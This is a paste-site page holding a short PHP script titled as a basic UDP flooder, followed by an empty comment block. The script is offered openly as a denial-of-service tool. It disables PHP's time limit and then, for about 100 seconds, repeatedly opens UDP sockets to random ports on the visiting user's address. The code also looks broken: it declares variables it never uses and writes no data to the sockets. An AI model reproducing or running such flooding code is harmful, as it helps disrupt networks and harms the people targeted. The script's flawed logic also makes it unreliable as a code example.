MLT icon

PHP - Basic UDP flooder

MLT | PRO | 11/10/13 06:20:21 PM UTC | 0 ⭐ | 394 👁️ | Never ⏰ | []
PHP |

420 B

|

None

|

0 👍

/

0 👎

<?php
$ip = '127.0.0.1';
$duration = '180';
$packets = 0;
 
ignore_user_abort(TRUE);
set_time_limit(0);
 
$exec_time = '100';
$time = time();
$max_time = $time+$exec_time;
$host = $_SERVER['REMOTE_ADDR'];
 
while(1)
 
{
 
$packets++;
if(time() > $max_time){
 
break;
                  }
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
 
if($fp)
 
{
 
fclose($fp);
 
 
    }
}

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎